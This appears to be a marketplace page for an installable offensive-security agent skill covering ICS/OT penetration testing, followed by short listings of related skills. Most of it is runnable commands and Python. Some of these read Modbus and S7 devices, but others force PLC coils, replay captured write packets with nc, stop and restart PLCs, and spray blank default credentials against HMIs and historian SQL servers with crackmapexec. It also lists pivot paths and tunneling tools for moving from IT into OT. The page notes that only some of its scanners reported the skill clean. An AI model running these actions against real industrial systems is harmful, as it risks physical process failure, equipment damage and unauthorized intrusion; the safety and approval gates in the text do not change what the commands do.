offensive-techniques/ics-technique/SKILL.md
Auth assessment: ICS/OT methodology; passive-first Modbus, DNP3, S7, BACnet, OPC UA, PLC/HMI evidence, safety gates.
npx skillsauth add aeondave/malskill ics-techniqueInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Goal: map the OT attack surface, assess reachable field devices and control systems, and identify exploitable weaknesses — while keeping safety of industrial processes and physical equipment as a hard constraint throughout.
network-technique and vuln-exploit-technique for Windows/Linux hosts in OT (historians, EWS).hardware-technique.wireless-technique.ics-ctf.post-exploit-technique; scope explicitly with client.ICS assessments differ from IT because mistakes can trigger physical process failures, equipment damage, or safety hazards:
Loop:
1. Passive enumeration — capture OT traffic, identify hosts and protocols.
2. Device fingerprinting — identify PLCs, RTUs, HMIs, historians by protocol response.
3. Read-only interrogation — enumerate coils, registers, tags, diagnostics.
4. Document attack surface — flag write-capable paths and associated process risk.
5. Active exploitation — only after explicit client approval, with rollback plan.
6. IT/OT pivot — escalate from OT device to engineering workstation or historian.
Stop when: objective achieved, safety gate triggered, or scope boundary reached.
Zero active probing. Capture and decode existing traffic without sending a packet.
# Capture on OT segment via tap or span port
tcpdump -i eth0 -w ot_capture.pcap
# Zeek for automatic protocol detection and summary
zeek -r ot_capture.pcap
# Review: conn.log (hosts/ports), modbus.log, dnp3.log, s7.log
# Wireshark display filters:
# Modbus TCP: tcp.port == 502
# DNP3: dnp3
# EtherNet/IP: enip
# S7comm: s7comm
# BACnet: bacnet
# IEC 60870-5-104: iec104
# OPC-UA: opcua
# Profinet DCP: pn_dcp
Passive goals:
Light active probing — read-only operations only at this stage.
# nmap Modbus unit ID scan
nmap --script modbus-discover -p 502 <target>
# Python: scan unit IDs 1–247 for responding slaves
python3 - <<'EOF'
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('<target>', port=502)
c.connect()
for uid in range(1, 248):
r = c.read_holding_registers(0, 1, slave=uid)
if not r.isError():
print(f"Unit ID {uid}: responding")
c.close()
EOF
nmap -sV --script enip-info -p 44818 <target>
# Returns: vendor, product name, serial number, firmware revision
nmap -sV --script s7-info -p 102 <target>
# Returns: module name, plant ID, firmware version, CPU state
python3 - <<'EOF'
import snap7
c = snap7.client.Client()
c.connect('<target>', 0, 1) # rack=0, slot=1 — adjust per model
print(c.get_cpu_info())
c.disconnect()
EOF
nmap --script dnp3-info -p 20000 <target>
nmap --script bacnet-info -p U:47808 <target>
# opcua-client-gui or python-opcua
python3 - <<'EOF'
from opcua import Client
c = Client("opc.tcp://<target>:4840")
c.connect()
root = c.get_root_node()
print(root.get_children())
c.disconnect()
EOF
Read registers, coils, and device diagnostics. No writes at this phase.
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('<target>', port=502)
c.connect()
slave = 1
# Coils (digital outputs) — FC01
coils = c.read_coils(0, 64, slave=slave)
# Discrete inputs (digital inputs) — FC02
di = c.read_discrete_inputs(0, 64, slave=slave)
# Holding registers (analog/config values) — FC03
hr = c.read_holding_registers(0, 32, slave=slave)
# Input registers (sensor readings) — FC04
ir = c.read_input_registers(0, 32, slave=slave)
c.close()
import snap7
c = snap7.client.Client()
c.connect('<target>', 0, 1)
# Read data block DB1, byte 0, 100 bytes
data = c.db_read(1, 0, 100)
print(data.hex())
# Read Merker (bit memory)
m = c.read_area(snap7.type.Areas.MK, 0, 0, 10)
c.disconnect()
Document: register ranges in use, coil states mapped to physical outputs, configuration registers (setpoints, PID parameters, alarm thresholds).
Classify write-capable paths by process risk before proceeding.
| Target | Action | Risk | Proceed when | |--------|--------|------|--------------| | Holding register (setpoint) | Write new value | Medium | Lab PLC or explicit approval + rollback ready | | Output coil (digital out) | Force ON/OFF | High | Lab target, actuator disconnected | | Safety coil / SIS output | Any write | Critical | Never without SIS engineer present and isolation confirmed | | S7 DB block | Write tag | Medium-High | Lab or frozen process window | | HMI session | Inject command | High | Lab only |
# ALWAYS read and record current state for rollback before writing
current = c.read_coils(0, 1, slave=slave)
print("Before:", current.bits[0])
c.write_coil(0, True, slave=slave) # force output ON
# Restore immediately after test
c.write_coil(0, current.bits[0], slave=slave)
# Capture legitimate write command (Wireshark → Export raw bytes), replay
echo -n '<hex_payload>' | xxd -r -p | nc <target> 502
c.plc_stop() # halts execution; only in isolated lab
c.plc_hot_start() # resume
HMIs and EWS run Windows and are the primary IT/OT pivot target.
# Enumerate Windows hosts in OT network (gentle scan — avoid aggressive rate)
nmap -sV -T2 -p 135,139,445,3389,4840 <ot_subnet>/24
# Common vulnerable software on EWS/HMI (often unpatched Windows XP/7/2008):
# WinCC, FactoryTalk, iFix, Ignition, Wonderware, Citect, InTouch
searchsploit "WinCC" "FactoryTalk" "Wonderware" "Citect" "Inductive Automation"
# Default credentials common on HMI/VNC (check before exploitation)
crackmapexec smb <ot_subnet>/24 -u administrator -p '' administrator --local-auth
# VNC: password "password", "1234", or blank
Historians (OSIsoft PI, Honeywell PHD, AspenTech IP21) store all process data and often bridge IT and OT networks.
# OSIsoft PI — port 5450 (PI Data Archive)
# PI Web API if DMZ-bridged: https://<historian>/piwebapi/
curl -k https://<historian>/piwebapi/
# SQL Server on historian (MSSQL — often SA with weak password)
nmap -p 1433 <historian>
crackmapexec mssql <historian> -u sa -p '' --local-auth
Historian compromise gives:
Common pivot paths:
Corporate IT → Historian (dual-homed) → OT network
Corporate IT → Remote access jump server → HMI
Corporate IT → Engineering workstation (VPN tunnel) → PLC
Tunneling tools: chisel, ligolo-ng; proxychains for chaining through compromised EWS.
development
White-box auditing methodology for AI-generated ('vibe-coded') applications. Focuses on modern stack misconfigurations (Supabase, Next.js, Vercel).
development
Hybrid AI/Deterministic SAST methodology for discovering zero-day vulnerabilities in source code. Orchestrates structural search with AI-driven data flow and sink validation.
development
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.
devops
Container methodology: Identifying containerization limits, Docker/K8s misconfigurations, and executing escapes to the host node.